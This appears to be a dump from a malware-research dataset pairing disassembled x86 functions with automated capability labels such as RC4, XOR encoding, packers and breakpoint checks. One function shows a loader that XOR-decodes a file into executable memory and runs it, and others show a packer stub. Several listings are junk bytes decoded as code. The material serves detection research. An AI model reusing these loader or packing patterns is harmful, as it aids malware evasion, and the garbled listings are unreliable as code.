joyce8/EMBER2024-capa huggingface dataset:
Function at 0x702400
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x7beea8
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x8c8ca0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
call fcn.007023b0
lea ecx, [esi + 0x5e8]
mov dword [esp + 0x14], 0
mov dword [esi], vtable.CXTPVisualStudio2008Theme.0
call fcn.0067dbf0
lea ecx, [esi + 0x608]
call fcn.0067dbb0
lea ecx, [esi + 0x614]
call fcn.0067dbb0
mov eax, dword [esi + 0x470]
mov dword [esi + 0x7c], 0xa
mov dword [eax + 0x30], 1
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
Function at 0x746ec0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x7c18c9
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x8c8ca0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x10], esi
call fcn.00544896
xor edi, edi
mov dword [esp + 0x1c], edi
mov dword [esi], vtable.CXTPTabManagerItem.0
call fcn.00544c61
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x746f15
push 0x80004005
call fcn.00401a41
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0x54], eax
mov ebx, 1
mov byte [esp + 0x1c], bl
call fcn.00544c61
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x746f47
push 0x80004005
call fcn.00401a41
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0x58], eax
lea ecx, [esi + 0x6c]
call fcn.00745ae0
mov ecx, esi
mov byte [esp + 0x1c], 3
call fcn.005e286b
or eax, 0xffffffff
lea ecx, [esi + 0x44]
push ecx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x3c], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x2c], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x40], edi
call dword [0x7da99c]
mov dword [esi + 0x64], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x68], ebx
mov dword [esi + 0x60], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x84], edi
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x757ae8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
mov esi, ecx
jne 0x757b07
push dword [esi + 0xc]
call fcn.007a8606
pop ecx
mov ecx, dword [ebp + 8]
mov byte [ecx], al
xor eax, eax
inc eax
jmp 0x757b41
cmp dword [ebp + 0xc], 2
jne 0x757b2e
push edi
push dword [esi + 0xc]
call fcn.007a8606
mov edi, dword [ebp + 8]
mov byte [edi], al
push dword [esi + 0xc]
call fcn.007a8606
pop ecx
pop ecx
push 2
mov byte [edi + 1], al
pop eax
pop edi
jmp 0x757b41
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.00642809
add esp, 0x10
pop esi
pop ebp
ret 8
Function at 0x7606ab
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x14]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.007600a6
mov byte [ebp + 0x17], al
test al, al
je 0x76076b
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x760768
and dword [ebp + 0xc], 0
cmp dword [edi + 0x10], 0
push esi
mov esi, ecx
jbe 0x760755
mov eax, dword [edi + 0x14]
and dword [ebp + 0x10], 0
test eax, eax
jbe 0x76074a
movzx edx, byte [ecx + 3]
movzx eax, byte [ecx + 1]
imul eax, edx
cdq
mov ebx, 0xff
idiv ebx
movzx edx, byte [ecx + 3]
mov dword [ebp - 4], eax
movzx eax, byte [ecx + 2]
imul eax, edx
cdq
idiv ebx
movzx edx, byte [ecx + 3]
mov dword [ebp - 8], eax
movzx eax, byte [ecx]
imul eax, edx
cdq
idiv ebx
mov byte [esi], al
mov al, byte [ebp - 4]
inc esi
mov byte [esi], al
mov al, byte [ebp - 8]
inc esi
mov byte [esi], al
movzx eax, word [edi + 0xc]
add ecx, eax
mov eax, dword [edi + 0x14]
inc esi
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], eax
jb 0x7606f3
mov ebx, dword [ebp + 8]
inc dword [ebp + 0xc]
mov edx, dword [ebp + 0xc]
cmp edx, dword [edi + 0x10]
jb 0x7606eb
mov ecx, dword [edi + 0x14]
imul ecx, dword [edi + 0x10]
mov eax, dword [ebx]
imul ecx, ecx, 3
push ecx
mov ecx, ebx
call dword [eax + 8]
pop esi
mov al, byte [ebp + 0x17]
pop edi
pop ebx
leave
ret 0x10
Function at 0x7623bc
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push 0x140
push dword [ebp + 8]
mov edi, ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call fcn.00775ba2
add esp, 0x14
test eax, eax
je 0x7623f7
push 3
pop ecx
jmp 0x7623fa
mov ecx, dword [ebp + 0x10]
movzx eax, cx
cmp eax, ebx
jl 0x762511
xor edx, edx
inc edx
cmp eax, edx
jle 0x76251a
cmp eax, 3
jne 0x762511
cmp dword [ebp - 4], ebx
je 0x76250b
mov esi, dword [ebp - 0xc]
cmp esi, ebx
je 0x76250b
cmp dword [ebp - 8], ebx
je 0x76250b
mov cl, byte [ebp + 0x14]
shl edx, cl
mov dword [ebp + 8], ebx
mov ecx, edx
cmp ecx, ebx
mov dword [ebp - 0x10], edx
jle 0x76248e
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 8]
sub ebx, esi
sub edx, esi
lea eax, [esi + ecx*2]
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], edx
mov edi, 0x100
jmp 0x762464
mov ebx, dword [ebp + 0x10]
dec ecx
dec eax
dec eax
mov edx, edi
cmp word [ebx + eax], dx
jae 0x762485
cmp word [eax], dx
jae 0x762485
mov ebx, dword [ebp + 0x14]
cmp word [ebx + eax], dx
jae 0x762485
xor ebx, ebx
cmp ecx, ebx
jg 0x762461
jmp 0x76248e
mov dword [ebp + 8], 1
xor ebx, ebx
mov eax, dword [ebp - 0x10]
cmp eax, ebx
jle 0x76258f
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 4]
mov edx, dword [ebp - 8]
inc ecx
sub edi, esi
sub edx, esi
mov dword [ebp + 0x14], edx
mov dword [ebp + 0xc], eax
cmp dword [ebp + 8], ebx
je 0x7624ec
movzx eax, word [esi + edi]
imul eax, eax, 0xff
cdq
mov ebx, 0xffff
idiv ebx
mov byte [ecx + 1], al
movzx eax, word [esi]
imul eax, eax, 0xff
cdq
idiv ebx
mov byte [ecx], al
mov eax, dword [ebp + 0x14]
movzx eax, word [esi + eax]
imul eax, eax, 0xff
cdq
idiv ebx
mov edx, dword [ebp + 0x14]
xor ebx, ebx
jmp 0x7624f9
mov al, byte [esi + edi]
mov byte [ecx + 1], al
mov al, byte [esi]
mov byte [ecx], al
mov al, byte [esi + edx]
inc esi
mov byte [ecx - 1], al
inc esi
add ecx, 4
dec dword [ebp + 0xc]
jne 0x7624ad
jmp 0x76258f
mov dword [edi], 0x14
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0x10
mov eax, dword [ebp + 0xc]
cmp word [ebp + 0x14], dx
jne 0x762554
cmp cx, dx
jne 0x76253e
mov byte [eax], bl
mov byte [eax + 1], bl
mov byte [eax + 2], bl
mov byte [eax + 4], 0xff
mov byte [eax + 5], 0xff
mov byte [eax + 6], 0xff
jmp 0x76258f
mov byte [eax], 0xff
mov byte [eax + 1], 0xff
mov byte [eax + 2], 0xff
mov byte [eax + 4], bl
mov byte [eax + 5], bl
mov byte [eax + 6], bl
jmp 0x76258f
mov edi, 0x100
cmp cx, dx
jne 0x762575
xor ecx, ecx
add eax, 2
mov byte [eax - 2], cl
mov byte [eax - 1], cl
mov byte [eax], cl
inc ecx
add eax, 4
cmp ecx, edi
jl 0x762563
jmp 0x76258f
xor edx, edx
add eax, 2
or cl, 0xff
sub cl, dl
mov byte [eax - 2], cl
mov byte [eax - 1], cl
mov byte [eax], cl
inc edx
add eax, 4
cmp edx, edi
jl 0x76257a
mov al, 1
jmp 0x762513
Function at 0x767f53
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
cmp dword [ebp + 8], edx
jne 0x767f64
xor eax, eax
jmp 0x768053
mov eax, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
imul esi, dword [ebp + 0x10]
add esi, dword [ebp + 8]
push edi
mov edi, ebx
push 8
sub eax, ebx
and edi, 7
pop ecx
sub ecx, edi
inc eax
mov dword [ebp + 8], ecx
cmp ecx, eax
jb 0x767f8e
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 8
jne 0x767f97
mov dword [ebp + 8], edx
mov ecx, dword [ebp + 0x18]
and ecx, 7
inc ecx
mov dword [ebp + 0xc], ecx
cmp ecx, eax
jb 0x767fa8
mov dword [ebp + 0xc], eax
mov ecx, ebx
xor ecx, dword [ebp + 0x18]
test ecx, 0xfffffff8
jne 0x767fb8
mov dword [ebp + 0xc], edx
mov ecx, dword [ebp + 8]
add ecx, ebx
mov dword [ebp + 0x10], ecx
cmp ebx, ecx
jae 0x767fec
mov ecx, ebx
mov edi, ebx
shr ecx, 3
not edi
and edi, 7
mov dl, byte [edi + 0x913888]
add ecx, esi
cmp dword [ebp + 0x1c], 0
je 0x767fe2
or byte [ecx], dl
jmp 0x767fe6
not dl
and byte [ecx], dl
inc ebx
cmp ebx, dword [ebp + 0x10]
jb 0x767fc4
xor edi, edi
cmp eax, 8
jbe 0x768020
sub eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
shr eax, 3
mov edi, eax
test edi, edi
jbe 0x768020
mov eax, dword [ebp + 0x1c]
neg eax
sbb eax, eax
and eax, 0xff
push edi
push eax
mov eax, ebx
shr eax, 3
add eax, esi
push eax
call fcn.00644f40
add esp, 0xc
lea edx, [ebx + edi*8]
jmp 0x768048
mov eax, edx
mov ecx, edx
shr eax, 3
not ecx
and ecx, 7
mov cl, byte [ecx + 0x913888]
add eax, esi
cmp dword [ebp + 0x1c], 0
je 0x768043
or byte [eax], cl
jmp 0x768047
not cl
and byte [eax], cl
inc edx
cmp edx, dword [ebp + 0x18]
jb 0x768025
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
pop ebp
ret 0x18
Function at 0x77161c
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x771649
push esi
call fcn.0077100b
cmp byte [esi + 0x40], 0
pop ecx
je 0x771642
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x7716b6
mov eax, dword [esi + 0x190]
cmp byte [eax + 0x10], 0
je 0x7716ab
mov eax, dword [esi + 8]
test eax, eax
je 0x77166a
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x190]
push esi
call dword [eax]
pop ecx
test eax, eax
je 0x7716a7
cmp eax, 2
je 0x7716ab
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x77165f
cmp eax, 3
je 0x77168e
cmp eax, 1
jne 0x77165f
inc dword [ecx + 4]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
jl 0x77165f
mov ecx, dword [esi + 0x11c]
add dword [eax + 8], ecx
jmp 0x77165f
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
jmp 0x7716d4
cmp eax, 0xcc
je 0x7716d4
mov eax, dword [esi]
mov dword [eax + 0x14], 0x15
mov eax, dword [esi]
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.0077137b
pop esi
ret

Function at 0x78cf40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [edi + 0x2c]
push esi
mov esi, dword [edi + 0x3c]
sub esi, dword [edi + 0x74]
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x2c]
lea ecx, [ebx + ecx - 0x106]
sub esi, eax
cmp eax, ecx
jb 0x78cfc5
mov eax, dword [edi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.00645120
mov eax, dword [edi + 0x4c]
mov ecx, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
add esp, 0xc
sub dword [edi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x78cf88
mov eax, dword [edi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x78cfaa
add esi, ebx
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x78d020
mov ecx, dword [edi + 0x74]
add ecx, dword [edi + 0x6c]
push esi
add ecx, dword [edi + 0x38]
mov esi, eax
push ecx
call fcn.0078cc8e
add dword [edi + 0x74], eax
mov esi, dword [edi + 0x74]
pop ecx
pop ecx
cmp esi, 3
jb 0x78d00c
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [edi + 0x58]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [edi + 0x54]
mov dword [edi + 0x48], eax
cmp esi, 0x106
jae 0x78d020
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x78cf49
pop esi
pop ebx
leave
ret
Function at 0x14d0fa28
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push dword [ebp + 8]
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], ebx
call dword [0x14d12300]
test eax, eax
je 0x14d0fb16
cmp dword [ebp - 0xc], 0xc8
jne 0x14d0fb16
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [0x14d12158]
mov esi, eax
cmp esi, 0xffffffff
je 0x14d0fb16
mov byte [ebp - 1], bl
push ebx
push dword [ebp + 0x10]
call dword [0x14d12150]
test eax, eax
je 0x14d0fabc
lea eax, [ebp - 8]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call dword [0x14d122ec]
test eax, eax
jne 0x14d0fac0
mov byte [ebp - 1], 1
cmp dword [ebp - 8], ebx
je 0x14d0faf0
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x210]
push eax
push esi
call dword [0x14d12190]
test eax, eax
je 0x14d0fae7
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 8]
je 0x14d0faeb
mov byte [ebp - 1], 1
cmp byte [ebp - 1], bl
je 0x14d0fa91
push esi
call dword [0x14d121a0]
push esi
call dword [0x14d12140]
cmp byte [ebp - 1], bl
je 0x14d0fb0c
push dword [ebp + 0xc]
call fcn.14d0eab6
pop ecx
xor eax, eax
cmp byte [ebp - 1], bl
sete al
jmp 0x14d0fb18
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x438c96
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x438a14
pop ecx
add ebx, ebx
call fcn.00438cde
add ebx, 0x8c4bdbe7
mov eax, eax
sub ebx, ebx
xor dword [esi], ecx
add eax, 1
mov eax, 0xdbe182a5
inc esi
sub esp, 4
mov dword [esp], 0x5c4eaf27
pop eax
dec ebx
cmp esi, edi
jne fcn.00438c96
push 0x50838391
pop eax
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x401fe0
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call 0x402050
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00401120
mov dword [esp], eax
call sub.ucrtbase.dll_exit
jmp dword [sym.imp.ucrtbase.dll___p___argc]
Function at 0x419cbb
Capabilities:
Encode data using xor

Disassembly:
xchg ebp, eax
arpl word [edi - 0x4d], dx
add dl, byte [edx - 0x2618c24d]
pop esi
adc byte [edi - 0x6f], dh
push edi
inc edi
xchg edi, eax
mov byte [edx + 0x5f], dl
inc edx
cmp byte [eax], bl
in eax, 0xb4
jl 0x419c4a
xor dword [esi], esp
sub eax, 0x4cc10923
jne 0x419c7f
pop ebx
insd dword es:[edi], dx
sal esi, cl
jecxz 0x419c84
sar byte [ecx + 0x69cbfc92], 1
out dx, eax
rdpmc
out 0x4f, eax
loopne 0x419d2c
push es
pushal
add al, byte [edx]
add dl, byte [eax + 0x223f5eeb]
sub dl, ah
in al, 0xfe
loop 0x419d30
int1
sbb dword [esi + eax*2], 0x17215dec
mov al, 0xa5
cmp al, 7
adc byte [esi], dh
fld qword [edx]
scasd eax, dword es:[edi]
fistp word [0x120b0138]
int3
and dword [edi + 0x63], esi
scasb al, byte es:[edi]
fbstp tbyte [eax + 0x5c]
aad 0x72
movsb byte es:[edi], byte [esi]
push edx
inc ebp
mov byte [0xe3ff25b1], al
or dword [eax + edi*8 + 0x44edc07f], edi
adc dword [ebx - 0x3d], ecx
lds edi, [eax]
fcom dword [bx + di]
xchg edx, eax
sbb esp, dword [ecx - 0x2b]
nop
pop esi
invalid
Function at 0x4f6d7b
Capabilities:
Encode data using xor

Disassembly:
jmp 0xc3a3993d
fcmovbe st(0), st(1)
mov esp, ebx
das
inc ebx
pop edx
xchg ebx, eax
mov al, 0xf5
pop edx
jl 0x4f6cd4
xchg edi, eax
push cs
and byte [ebx], bh
xor cl, cl
push ebx
sub ebx, dword [ebx - 0x3a]
push edi
xor esi, edi
in eax, 0x8c
dec eax
scasb al, byte es:[edi]
mov al, byte [0xffa94291]
out 0x7d, al
cmp al, 0xc7
sub cl, bl
add ah, byte [edx - 0x1c52b0de]
jle 0x1a43b628
jmp esi
pop ecx
pop ebp
pop esi
rcr dword [esp + ebx*2], cl
pop edx
lahf
out 0xa8, al
leave
int1
dec esp
mov al, byte [0xbffd891e]
add dword [ecx], ebx
hlt
mov ecx, 0x98b8a8ea
push 0x85a8179f
pop eax
push 0xffffffffffffffef
jbe 0x4f6d82
arpl word [eax - 0x4f], bp
add edi, edx
pop ecx
movsb byte es:[edi], byte [esi]
inc ecx
mov bl, 0xf7
jecxz 0x4f6d00
ja 0x4f6cde
mov byte [0x4651fba1], al
inc esi
jo 0x4f6dc5
xchg esi, eax
nop
or byte [edi + 0x1a], al
add eax, 0x4739d5c2
into
stosb byte es:[edi], al
dec eax
lcall 0x4a16, 0xf707d718
dec eax
cmpsb byte [esi], byte es:[edi]
hlt
pop ss
std
salc
aaa
add dword [ebx], esi
fdivp st(0)
clc
neg byte [ecx - 0x36e167fa]
cwde
push ds
leave
je 0x4f6d3c
and dl, byte [esi + 0x1965e1c5]
movsd dword es:[edi], dword [esi]
out dx, eax
push esi
movsd dword es:[edi], dword [esi]
int3
imul esi, ecx, 0x785771ac
xchg esp, eax
jno 0x4f6e1e
js 0x4f6d5d
xchg ecx, eax
aas
mov ah, 0xf1
cmc
dec eax
pop es
les edx, [edx - 4]
xor esi, edx
sbb bh, byte [ecx]
xchg byte [ecx + 0x50], dl
push eax
jg 0x4f6d86
sub al, 0xc8
mov ecx, dword [ecx]
salc
stosd dword es:[edi], eax
and byte [esi + 0x20], 0xa5
xor ebx, dword [edx + 0x6fe3a76c]
cdq
push esi
mov bh, 0x1f
mov edi, dword [ebx - 0x4c]
cmp eax, ebp
and eax, 0x73580394
stc
xor byte [edi + 0x2439c797], dl
sbb ebp, dword [0xf6291cf8]
jb 0x4f6df1
mov eax, ebp
mov ebp, 0x82762b7
retf 0xdad8
dec edx
and esp, dword [ecx + 6]
pop ecx
js 0x4f6dc2
adc al, 0x79
inc ecx
leave
invalid
Function at 0x5419eb
Capabilities:
Encode data using xor

Disassembly:
pop es
invalid
jg 0x5419a2
cmp eax, dword [edi + 0x6b2ca40c]
test eax, 0xf0f906a5
inc ebx
dec eax
retf
xor byte [ebx], cl
cmpsd dword [esi], dword es:[edi]
cmpsb byte [esi], byte es:[edi]
les eax, [ebp - 0x7b3820e8]
stosb byte es:[edi], al
cmp al, 0x8b
xchg byte [esi], al
cmp al, 0x2c
xchg edx, eax
and ecx, dword [eax - 0xa]
xor al, ch
loopne 0x541a2f
jge 0x541951
ja 0x541a2d
pushal
dec edx
xor al, 2
iretd
popfd
loope 0x541987
aam 0xbc
adc al, 1
xor byte [ecx - 0x27], dl
adc eax, 0xa9b4d704
or cl, cl
mov dh, 0xf9
push edi
mov edi, 0xa8ab0508
sbb byte [ecx], bh
dec ebp
test byte [edi], dh
leave
sbb bh, al
inc ebp
jmp 0x86ca18ea
aam 0x27
inc ebp
xchg ebx, eax
push ebp
mov ecx, 0xdc29c4d1
cmp dword [0x6bf5a406], ecx
cmc
imul ebx, dword [edi + 0x73], 0x79
Function at 0x623f8b
Capabilities:
Encode data using xor

Disassembly:
cmp eax, 0xc7ea995
pushal
stosb byte es:[edi], al
pop ebp
mov dword [ecx - 0x1b], ecx
pop es

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x64202c
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
clc
jmp 0x642037
pushal
jae 0x64203f
pop esi
lodsd eax, dword [esi]
jmp 0x64201e
call 0x64204e
xor eax, 0x865d3b03
lea esp, [ecx - 0x21]
sti
pop ebx
jmp 0x642057
add ebx, 0xffffffbc
jmp 0x642063
cmp dword [ebx], 0
stc
jmp 0x642070
je 0x6420ee
jb 0x64207f
test eax, 0x9bc075f3
inc ecx
pop ebx
mov edi, ebx
jmp 0x64208c
add ebx, 4
jmp 0x64209a
mov edx, dword [ebx]
jmp 0x6420a0
add edx, ebx
stc
jmp 0x6420a8
mov eax, dword [ebx + 4]
jmp 0x6420af
sub dword [edx], 0x23c9135f
jmp 0x6420b9
add edx, 4
jmp 0x6420c0
sub eax, 1
jmp 0x6420c7
jne 0x6420ab
jmp 0x6420d1
add ebx, 8
jmp 0x6420d8
sub dword [edi], 1
jmp 0x6420df
jne 0x64208f
jmp 0x6420e9
call fcn.006420fc
jmp 0x6420f2
popal
clc
jmp 0x6420f7
jmp 0x4caf40

Function at 0x64204e
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
clc
jmp 0x642037
pushal
jae 0x64203f
pop esi
lodsd eax, dword [esi]
jmp 0x64201e
call 0x64204e
xor eax, 0x865d3b03
lea esp, [ecx - 0x21]
sti
pop ebx
jmp 0x642057
add ebx, 0xffffffbc
jmp 0x642063
cmp dword [ebx], 0
stc
jmp 0x642070
je 0x6420ee
jb 0x64207f
test eax, 0x9bc075f3
inc ecx
pop ebx
mov edi, ebx
jmp 0x64208c
add ebx, 4
jmp 0x64209a
mov edx, dword [ebx]
jmp 0x6420a0
add edx, ebx
stc
jmp 0x6420a8
mov eax, dword [ebx + 4]
jmp 0x6420af
sub dword [edx], 0x23c9135f
jmp 0x6420b9
add edx, 4
jmp 0x6420c0
sub eax, 1
jmp 0x6420c7
jne 0x6420ab
jmp 0x6420d1
add ebx, 8
jmp 0x6420d8
sub dword [edi], 1
jmp 0x6420df
jne 0x64208f
jmp 0x6420e9
call fcn.006420fc
jmp 0x6420f2
popal
clc
jmp 0x6420f7
jmp 0x4caf40